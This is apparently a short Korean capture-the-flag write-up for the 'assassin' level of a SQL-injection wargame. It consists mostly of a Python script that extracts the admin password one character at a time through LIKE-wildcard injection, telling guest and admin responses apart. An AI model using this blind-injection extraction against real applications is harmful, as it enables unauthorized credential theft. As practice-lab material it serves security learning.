첫 화면이다.
파이썬 코드를 짜면 아래와 같다.
import requests
URL = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw='
PHPSESSID = 'MY_PHPSESSID'
TRUE_PHRASE_GUEST = 'Hello guest'
TRUE_PHRASE_ADMIN = 'Hello admin'
def query(payload):
cookies = {'PHPSESSID': PHPSESSID}
r = requests.get(URL + payload, cookies=cookies)
content = r.text
return content
# 902%
def find_pw():
pw = ''
found = False
while not found:
char_guest = -1
for character in range(0, 128):
if chr(character) == '%' or chr(character) == '_':
continue
content = query('{}{}%'.format(pw, chr(character)))
if TRUE_PHRASE_GUEST in content:
char_guest = character
elif TRUE_PHRASE_ADMIN in content:
pw += chr(character)
found = True
break
if not found:
pw += chr(char_guest)
print('pw: {}%'.format(pw))
find_pw()